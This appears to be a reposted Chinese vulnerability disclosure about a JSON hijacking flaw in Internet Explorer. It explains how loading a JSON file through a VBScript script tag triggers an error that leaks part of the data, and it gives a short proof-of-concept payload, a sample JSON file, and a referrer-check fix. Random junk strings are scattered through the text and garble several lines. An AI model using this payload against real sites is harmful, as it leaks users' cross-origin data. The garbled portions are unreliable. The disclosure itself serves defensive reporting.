IE通用JSON劫持漏洞

admin

简要描述：
. N! }2 H) A& W; I3 j# _
由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>

当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
/ V6 Y  k8 u8 I/ E" v  Z0 {; F漏洞证明：
<script>
window.onerror=function(_){
alert(_)
0 E& i; E/ f. G1 c( C* W; {. P}
</script>
: d1 M+ ?. Z9 Y$ o. E<script language=vbscript src=1.json></script>
. K* d, F: `) q! C
5 Z3 e4 l/ b* i3 g7 `8 Y3 H6 X# F
( Z! u; c) j- y* F) S/ }1.json:
6 S) ~$ u. `0 L% f( L[{"name":"sogili","age":19}]
2 n( L0 m' Z  Y0 A: y% z, c修复方案：
. Y6 E4 G4 d0 N, ]$ R  A网站业务对于这个问题可以通过验证referrer是否为同源来防御